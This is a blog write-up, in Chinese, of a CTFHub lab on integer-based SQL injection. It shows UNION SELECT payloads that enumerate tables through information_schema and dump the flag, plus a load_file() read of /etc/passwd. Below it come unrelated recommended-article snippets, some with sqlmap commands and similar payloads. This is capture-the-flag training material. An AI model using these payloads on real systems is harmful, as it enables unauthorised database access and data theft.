CTFHUB-技能树-Web题-SQL注入-整数型注入

CTFHub - 整数型注入 欢迎各位师傅以kill -9 的威力对文章进行检查,Zeus会认真分析听取各位师傅的留言。 阅读详情

技能树-Web题-SQL注入-整数型注入

SQL注入

数据库知识点

column_name:列的名称

Information_schema.columns:表示所有的列的信息

Information_schema:表示所有信息,包括库、表、列

Information_schema.tables:表示所有的表的信息

table_schema:数据库的名称

table_name:表的名称

整数型注入
判断是否存在注入
输入1 and 1=1 有回显

在这里插入图片描述

1 and 1=2 无回显

在这里插入图片描述

由此判断存在注入点

判断字段数
1 order by 3 无回显

在这里插入图片描述

1 order by 2 有回显

在这里插入图片描述

由此判断存在两个字段

判断回显字段
-1 union select 1,2

在这里插入图片描述

1,2又有数值,说明两字段都有回显

爆库名
常用函数
user()
database()
session_usr()
@@version
@@basedir
@@datadir
@@version_compile_os
-1 union select user(),database()

在这里插入图片描述

爆表名

利用 group_concat() 函数进行查询连接所有的表名

-1 union select user(),group_concat(table_name) from information_schema.tables where table_schema=database()

在这里插入图片描述

爆列名
-1 union select user(),group_concat(column_name) from information_schema.columns where table_name='flag'

在这里插入图片描述

爆数据
-1 union select 1,flag from flag

在这里插入图片描述

还可以读取到 /etc/passwd 文件

Linux 读取重要的文件

load_file( )函数 读文件操作

前提

  • 知道文件绝对路径
  • 能够使用union查询
  • 对web目录有写权限
-1 union select 1,load_file('/etc/password')
题解记录-CTFHub技能树|Web|SQL注入 数据库注入 阅读详情

相关推荐

CTFHub~SQL注入超简单详细教程

本文主要是对CTFHub靶场的SQL注入做了详细的教程讲解,让练习者对SQL注入有更详细的了解和深入,如有什么问题,随时联系作者

weixin_67832625的博客 3070

CTFHub | 整数型注入

根据题目描述输入 1 进行测试,发现此题可能存在 SQL 注入漏洞。那么使用' and 1 = 1 ‘和' and 1 = 2’进行判断,此题存在 SQL 整数型漏洞注入。那么第一步先判断字段数量,然后检查数据库位置,知道数据库位置后查看数据库版本和数据库名。接着查看一下全部数据库名,并查看这些数据库的表名,发现一个表名为 flag 比较可疑。查看这个表名的全部字段后接着查看表中的数据得到此题 flag 。

尼泊罗河伯的博客 3459

【CTF整理】CTFhub技能树-Web-SQL注入

【CTF整理】CTFhub技能树-Web-SQL注入 目录【CTF整理】CTFhub技能树-Web-SQL注入SQL整数型注入SQL字符型注入SQL报错注入SQL布尔型注入SQL时间注入MySQL结构Cookie注入UA注入Referer注入 SQL整数型注入 确定闭合方式 :1 确定报错位有2个,(我选2注入点) 得到库名 得到表名 得到列名 得到flag SQL字符型注入 确定闭合方式:1’ 【步骤和整形一样,不再使用,我这里采用sqlmap】 核心语法: sqlmap -u "url+参

一个偶尔更新,有点神经质的开发人员,专注于网络安全和人工智能应用领域。 2556

CTFHub技能树--SQL注入之整数型注入步骤详解

解题思路:库-->表-->列-->数据。

wqatss的博客 1005

4、ctfhub技能树_web_SQL注入

都查看结果直到查询成功为止。,都查看结果直到查询成功为止。输入1 and substr((select table_name from information_schema.tables where table_schema=’sqli’ limit 1,1),1,1)=’a’、1 and substr((select table_name from information_schema.tables where table_schema=’sqli’ limit 1,1),1,1)=’b’…

YanLucyqi的博客 963

Ctfhub解题 web SQL注入(全部完整版)

Ctfhub解题 web SQL注入

weixin_46703850的博客 5988

ctfhub技能树 web sql注入

ctfhub技能树 web sql注入

m0_62207170的博客 601

ctfhub——web——sql注入(sqlmap实现)

本次sql注入全部基于sqlmap实现 1.整数型注入 题目如下,为整数型注入 1.1安装sqlmap sudo apt install sqlmap 1.2测试注入 sqlmap -u http://challenge-3c2c0ebf73b7a689.sandbox.ctfhub.com:10080/?id=1 成功注入 1.3查看数据库 执行命令 sqlmap -u http://challenge-3c2c0ebf73b7a689.sandbox.ctfhub.

weixin_43906500的博客 1983

CTFHUB技能树——web篇

因为我一开始是没打算写博客的,所有前面的图基本都没截图,以至于后面想写博客的时候没图,又没有金币了,我想吃西瓜都吃不到,更别说充金币。分币不花,玩的就是陪伴。前面的一些图来自于大佬们的博客,我会在结尾@出来。

qq_63980959的博客 1万+

CTF之旅(CTFHub技能树+详细Write up+持续更新ing)(SQL注入)

目录其他CTFHub题目WriteUP地址前言SQL注入整数型注入字符型注入 其他CTFHub题目WriteUP地址 本来不想分段的,但是后来发现要写的东西太多了,就分了几段写,大家见谅 1.web前置技能(已完结) 2.信息泄露(已完结) 3.密码口令+XSS(已完结) 前言 这里收录了我在CTFHub中做的题目和自己写的一些想法,首先我想稍微讲下个人经历,本人在今年寒假的时候初识CTF ,当时还在攻防世界上做了一些题目,但是后来有人跟我说攻防世界的题目比较老,建议我换个网站(这边没有诋毁攻 防世界的意

weixin_51563603的博客 2140

A Super-Resolution Imaging Method for Forward-Looking Scanning Radar Based on Improved TV论文阅读

具体而言,作者提出了一种改进的总变差(Improved Total Variation, ITV)方法,通过引入。论文旨在解决前视扫描雷达(Forward-Looking Scanning Radar)超分辨率成像中传统。(Batch Processing),以增强图像边缘特征的保留能力,并提升计算效率。论文的核心创新点在于对传统TV正则化的邻域梯度计算进行扩展,提出。ITV剖面(图3d)在噪声下仍保持矩形边缘,仅存。​(公式10):实现稀疏约束。),抑制远端单元贡献。(幅度远低于目标)。

yangqoor的博客 1240

CTFHub(web SQL注入)

id=1这个语句在数据库中返回几列,也就是SELECT * FROM uers WHERE id=1 and 1=2 LIMIT 1,0这个语句的数据结果集有几列,然后才可以用union进行联合查询。(2)可以用concat()或concat_ws()或group_concat()—[见数据库连接语句]----使得在sql注入时快速获得数据库的相关信息。使用order by语句进行测试:1 order by 1、1 order by 2等,直到报错为止,报错的前一个数,为字段数。

2301_81105268的博客 1736

实战分享:如何用Dify和MaxKb实现文档智能切分与高效检索(附代码解析)

本文详细介绍了如何结合Dify和MaxKB构建文档智能切分与高效检索系统。针对传统全文检索的不足,提出了结构感知的文档切分方案,通过解析文档层级关系并构建标题链,实现了精准的章节级检索。文章包含完整的代码实现,涵盖文档解析、智能切分、向量化策略及双索引优化,并分享了性能调优和生产环境实践经验。

qsc90123456的博客 546

CTFHub技能树 Web-SQL注入 详解

整数型注入 我们输入 1 不断尝试发现闭合方式就是 1 ,整数型 存在两列 order by 2 存在两个注入点 /?id=-1 union select 8,9 爆库,当前数据库为sqli /?id=-1 union select 8,database() 爆出所有表名,这里我们需要吧sqli转换为16进制 /?id=-1 union select 8,group_concat(table_name) from infromation_schema...

weixin_45808483的博客 7420

同花顺【红绿趋势】幅图指标 源码分析

a10:IF(差值<=0 ,0 ,差值*0.2 ,4 ,0),STICK,linethick5,colorred;a7:IF(差值<=0 ,0 ,差值*0.8 ,4 ,0),STICK,linethick5,colorred;a8:IF(差值<=0 ,0 ,差值*0.6 ,4 ,0),STICK,linethick5,colorred;a6:IF(差值<=0 ,0 ,差值*1 ,4 , 0),STICK,linethick5,colorred;DRAWICON(先锋<0,-25,1);

zhibiaogong的博客 4059

system_stm32f10x.c文件分析

配置系统时钟(包括系统时钟源、锁相环(PLL)倍频系数、高级高性能总线(AHB)/ 高级外设总线(APBx)预分频器以及闪存相关设置)。该函数在系统复位后的启动阶段被调用,且调用时机早于跳转到主程序之前。

Jia shuheng的博客 602

CTFHub SQL注入 整数型注入

CTFHub SQL注入 整数型注入 强烈推荐这个网站 CTFhub https://www.ctfhub.com/ 分各个类别,题目由易到难 这题还是很基础的,有各种提示 打开是源码,?id=处存在注入 /?id=1 or 1=1 然后就是爆数据库名,information_schema三步 以下是详细步骤: ?id=1 or 1=1 union select 1,database() ...

weixin_44732566的博客 3930

一套C#接口通吃安川/发那科/库卡:工业机器人统一控制框架设计与产线踩坑实录

我们把机器人的通用能力抽象为接口,涵盖连接、运动、IO、寄存器、状态、报警六大类能力,所有品牌适配器都必须实现这个接口。/// 工业机器人统一控制接口// 基础连接// 运动控制// IO与寄存器// 状态与报警// 事件工业机器人统一控制框架的本质,不是把所有品牌的功能都做平,而是找到通用能力的最大公约数,通过分层抽象把品牌差异隔离在底层。上层业务只关注工艺和流程,不需要关心机器人是什么品牌、用什么SDK、通信协议是什么。

这里只有干货:从 Modbus 通信到 MES 对接,从 YOLO 训练到工控机部署,带你搞定工业软件开发全流程。 404

CTFHub技能树 Web-SQL注入详解

所谓SQL注入就是用户在能够控制SQL查询、更新、插入、删除等语句的参数的情况下,攻击者通过构造特殊的输入字符串使后端程序错误地识别SQL查询语句中的代码与数据部分从而导致数据库管理系统输出了非预期的结果的一种行为。

千寻的博客 3461

Android SystemUI——初始化流程(三)

1、Android 系统在启动之后,首先会Zygote进程,Zygote进程又会进一步启动 SystemServer进程,它会启动各种系统所需要的服务,在监听AMS启动完毕之后,还会启动SystemUIService。2、在启动SystemUIService服务之前,系统首先会创建SystemUI对应的进程,获取SystemUIAppComponentFactory实例对象,调用instantiateApplicationCompat创建SystemUIApplication实例对象并设置回调方法。

小旭的专栏 1157

【人工智能】RAG如何根据实际需求选择和进行文档解析(如 PDF、Word、TXT、网页等)?

文档解析的核心在于根据解析目标、文档类型和处理量选择合适工具。PDF、Word、TXT和网页各有特性:PDF需区分可编辑与扫描版,Word需处理结构化内容,TXT简单但需注意编码,网页需应对动态内容。解析场景包括提取纯文本、结构化数据、保留格式和批量处理。非技术用户可借助工具如Adobe Acrobat、WPS和在线OCR,技术用户可通过编程实现自动化。通用流程为:明确目标、分析文档属性、选择工具并测试优化。核心是“工具适配需求”,无需追求万能方案。

奶爸的编程之路,也就一周冷个三天 506

CTFHub:web前置技能-SQL注入-整数型注入

路漫漫其修远兮,吾将上下而求索。本文涉及以下知识点,去引用文章学习即可:链接:我是一个知识点链接:我是一个知识点链接:我是一个知识点链接:sqlmap下载点我文章总结有我个人总结的一些知识点,希望对你有所帮助。大概思路和涉及的知识点sql注入基本语句和手工注入流程:#,–+,-- -代表后边忽略,常用与闭合思路:sql注入之数字型注入点:许多网页链接有类似的结构。

wdnmddbl的博客 1329

05 - matlab m_map地学绘图工具基础函数 - 设置比例尺指北针

本篇介绍下m_map中添加指北针(m_northarrow)、比例尺(m_ruler)和进行比例缩放(m_scale)的函数及其用法 。提供了 示例以便参考,罗列了 各函数可设属性。希望对绘图的你有所帮助。

weixin_43339605的博客 1946

SQL注入-CTFHub

本文是CTFHub技能树Web系列的文章之一,重点学习了Web安全中的SQL注入漏洞。SQL注入是owasp top10之一,是Web安全必学漏洞。

Keeping it fresh at all times. 1291

C# WinForm 基于DirectShow.dll编写的程序,可边预览边保存视频,音频和图片

基于微软的DirectShow.dll的二次开发1.自动识别连接的摄像头跟麦克风且可以对其进行选择(默认选中第一个)2.可录制wmv和avi两种格式的视频并且都带有音频,avi可以录制的分辨率和帧数进行选择,wmv默认进行了淸晰度优化如不喜欢可去除代码中有相关提示3.可在预览点开之后进行拍照,也可边录制视频边拍照4.添加了视频和音频的压缩功能(酌情使用)这次二次开发发现C#对DirectShow的相关信息太少,这次做完也不敢藏私共享出来,还望大家指正

ET2012新版免狗免安装绿色软件

ET2012新版免狗免安祖昂绿色软件。,新界面,新视觉,

ctfhub技能树web--sql注入

SQL 注入是一种将 SQL 代码插入或添加到应用(用户)的输入参数中,之后再将这些参数传递给后台的 SQL 服务器加以解析并执行的攻击。攻击者能够修改 SQL 语句,该进程将与执行命令的组件(如数据库服务器、应用服务器或 WEB 服务器)拥有相同的权限。如果 WEB 应用开发人员无法确保在将从 WEB 表单、cookie、输入参数等收到的值传递给 SQL 查询(该查询在数据库服务器上执行)之前已经对其进行过验证,通常就会出现 SQL 注入漏洞。提示:以下是本篇文章正文内容,下面案例可供参考。

m0_64636395的博客 1250

Data-Structures-and-Algorithm-Analysis-in-Java.pdf

作者: Weiss, Mark A. 出版社: Addison Wesley Data Structures and Algorithm Analysis in Java is an “advanced algorithms” book that fits between traditional CS2 and Algorithms Analysis courses. In the old ACM Curriculum Guidelines, this course was known as CS7. This text is for readers who want to learn good programming and algorithm analysis skills simultaneously so that they can develop such programs with the maximum amo...

CTFHub SQL 整数型注入

CTFHub SQL 整数型注入 之前那道整数型注入题改了,,,但还是一样的套路,数据库也一样,就多了一个:前端页面回显位置只有两处,而且一个正确的id回显就占了两处地方 UI界面好看了,还多了一个问题,就是前端页面一次只显示一条数据库记录 所以在payload最后加上limit x offset y 这个意思是从第y条记录开始后x条记录,y是从0开始算的 1 or 1=1 limit 1 o...

weixin_44732566的博客 3734

深度学习工具包 DeepLearningToolbox

深度学习工具包Deprecation notice.-----This toolbox is outdated and no longer maintained.There are much better tools available for deep learning than this toolbox, e.g. [Theano](http://deeplearning.net/software/theano/), [torch](http://torch.ch/) or [tensorflow](http://www.tensorflow.org/)I would suggest you use one of the tools mentioned above rather than use this toolbox.Best, Rasmus.DeepLearnToolbox================A Matlab toolbox for Deep Learning.Deep Learning is a new subfield of machine learning that focuses on learning deep hierarchical models of data.It is inspired by the human brain's apparent deep (layered, hierarchical) architecture.A good overview of the theory of Deep Learning theory is[Learning Deep Architectures for AI](http://www.iro.umontreal.ca/~bengioy/papers/ftml_book.pdf)For a more informal introduction, see the following videos by Geoffrey Hinton and Andrew Ng.* [The Next Generation of Neural Networks](http://www.youtube.com/watch?v=AyzOUbkUf3M) (Hinton, 2007)* [Recent Developments in Deep Learning](http://www.youtube.com/watch?v=VdIURAu1-aU) (Hinton, 2010)* [Unsupervised Feature Learning and Deep Learning](http://www.youtube.com/watch?v=ZmNOAtZIgIk) (Ng, 2011)If you use this toolbox in your research please cite [Prediction as a candidate for learning deep hierarchical models of data](http://www2.imm.dtu.dk/pubdb/views/publication_details.php?id=6284)```@MASTERSTHESIS\{IMM2012-06284, author = "R. B. Palm", title = "Prediction as a candidate for learning deep hierarchical models of data", year = "2012",}```Contact: rasmusbergpalm at gmail dot comDirectories included in the toolbox-----------------------------------`NN/` - A library for Feedforward Backpropagation Neural Networks`CNN/` - A library for Convolutional Neural Networks`DBN/` - A library for Deep Belief Networks`SAE/` - A library for Stacked Auto-Encoders`CAE/` - A library for Convolutional Auto-Encoders`util/` - Utility functions used by the libraries`data/` - Data used by the examples`tests/` - unit tests to verify toolbox is workingFor references on each library check REFS.mdSetup-----1. Download.2. addpath(genpath('DeepLearnToolbox'));Example: Deep Belief Network---------------------```matlabfunction test_example_DBNload mnist_uint8;train_x = double(train_x) / 255;test_x = double(test_x) / 255;train_y = double(train_y);test_y = double(test_y);%% ex1 train a 100 hidden unit RBM and visualize its weightsrand('state',0)dbn.sizes = [100];opts.numepochs = 1;opts.batchsize = 100;opts.momentum = 0;opts.alpha = 1;dbn = dbnsetup(dbn, train_x, opts);dbn = dbntrain(dbn, train_x, opts);figure; visualize(dbn.rbm{1}.W'); % Visualize the RBM weights%% ex2 train a 100-100 hidden unit DBN and use its weights to initialize a NNrand('state',0)%train dbndbn.sizes = [100 100];opts.numepochs = 1;opts.batchsize = 100;opts.momentum = 0;opts.alpha = 1;dbn = dbnsetup(dbn, train_x, opts);dbn = dbntrain(dbn, train_x, opts);%unfold dbn to nnnn = dbnunfoldtonn(dbn, 10);nn.activation_function = 'sigm';%train nnopts.numepochs = 1;opts.batchsize = 100;nn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.10, 'Too big error');```Example: Stacked Auto-Encoders---------------------```matlabfunction test_example_SAEload mnist_uint8;train_x = double(train_x)/255;test_x = double(test_x)/255;train_y = double(train_y);test_y = double(test_y);%% ex1 train a 100 hidden unit SDAE and use it to initialize a FFNN% Setup and train a stacked denoising autoencoder (SDAE)rand('state',0)sae = saesetup([784 100]);sae.ae{1}.activation_function = 'sigm';sae.ae{1}.learningRate = 1;sae.ae{1}.inputZeroMaskedFraction = 0.5;opts.numepochs = 1;opts.batchsize = 100;sae = saetrain(sae, train_x, opts);visualize(sae.ae{1}.W{1}(:,2:end)')% Use the SDAE to initialize a FFNNnn = nnsetup([784 100 10]);nn.activation_function = 'sigm';nn.learningRate = 1;nn.W{1} = sae.ae{1}.W{1};% Train the FFNNopts.numepochs = 1;opts.batchsize = 100;nn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.16, 'Too big error');```Example: Convolutional Neural Nets---------------------```matlabfunction test_example_CNNload mnist_uint8;train_x = double(reshape(train_x',28,28,60000))/255;test_x = double(reshape(test_x',28,28,10000))/255;train_y = double(train_y');test_y = double(test_y');%% ex1 Train a 6c-2s-12c-2s Convolutional neural network %will run 1 epoch in about 200 second and get around 11% error. %With 100 epochs you'll get around 1.2% errorrand('state',0)cnn.layers = { struct('type', 'i') %input layer struct('type', 'c', 'outputmaps', 6, 'kernelsize', 5) %convolution layer struct('type', 's', 'scale', 2) %sub sampling layer struct('type', 'c', 'outputmaps', 12, 'kernelsize', 5) %convolution layer struct('type', 's', 'scale', 2) %subsampling layer};cnn = cnnsetup(cnn, train_x, train_y);opts.alpha = 1;opts.batchsize = 50;opts.numepochs = 1;cnn = cnntrain(cnn, train_x, train_y, opts);[er, bad] = cnntest(cnn, test_x, test_y);%plot mean squared errorfigure; plot(cnn.rL);assert(er<0.12, 'Too big error');```Example: Neural Networks---------------------```matlabfunction test_example_NNload mnist_uint8;train_x = double(train_x) / 255;test_x = double(test_x) / 255;train_y = double(train_y);test_y = double(test_y);% normalize[train_x, mu, sigma] = zscore(train_x);test_x = normalize(test_x, mu, sigma);%% ex1 vanilla neural netrand('state',0)nn = nnsetup([784 100 10]);opts.numepochs = 1; % Number of full sweeps through dataopts.batchsize = 100; % Take a mean gradient step over this many samples[nn, L] = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.08, 'Too big error');%% ex2 neural net with L2 weight decayrand('state',0)nn = nnsetup([784 100 10]);nn.weightPenaltyL2 = 1e-4; % L2 weight decayopts.numepochs = 1; % Number of full sweeps through dataopts.batchsize = 100; % Take a mean gradient step over this many samplesnn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, 'Too big error');%% ex3 neural net with dropoutrand('state',0)nn = nnsetup([784 100 10]);nn.dropoutFraction = 0.5; % Dropout fraction opts.numepochs = 1; % Number of full sweeps through dataopts.batchsize = 100; % Take a mean gradient step over this many samplesnn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, 'Too big error');%% ex4 neural net with sigmoid activation functionrand('state',0)nn = nnsetup([784 100 10]);nn.activation_function = 'sigm'; % Sigmoid activation functionnn.learningRate = 1; % Sigm require a lower learning rateopts.numepochs = 1; % Number of full sweeps through dataopts.batchsize = 100; % Take a mean gradient step over this many samplesnn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, 'Too big error');%% ex5 plotting functionalityrand('state',0)nn = nnsetup([784 20 10]);opts.numepochs = 5; % Number of full sweeps through datann.output = 'softmax'; % use softmax outputopts.batchsize = 1000; % Take a mean gradient step over this many samplesopts.plot = 1; % enable plottingnn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, 'Too big error');%% ex6 neural net with sigmoid activation and plotting of validation and training error% split training data into training and validation datavx = train_x(1:10000,:);tx = train_x(10001:end,:);vy = train_y(1:10000,:);ty = train_y(10001:end,:);rand('state',0)nn = nnsetup([784 20 10]); nn.output = 'softmax'; % use softmax outputopts.numepochs = 5; % Number of full sweeps through dataopts.batchsize = 1000; % Take a mean gradient step over this many samplesopts.plot = 1; % enable plottingnn = nntrain(nn, tx, ty, opts, vx, vy); % nntrain takes validation set as last two arguments (optionally)[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, 'Too big error');```[![Bitdeli Badge](https://d2weczhvl823v0.cloudfront.net/rasmusbergpalm/deeplearntoolbox/trend.png)](https://bitdeli.com/free "Bitdeli Badge")

上一篇: CTFHUB-技能树-Web前置技能-基础认证、响应包源代码
下一篇: CTFHUB-技能树-Web题-SQL注入-字符型注入
python炒粉
博客等级 码龄8年 1968粉丝 29原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

python炒粉

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值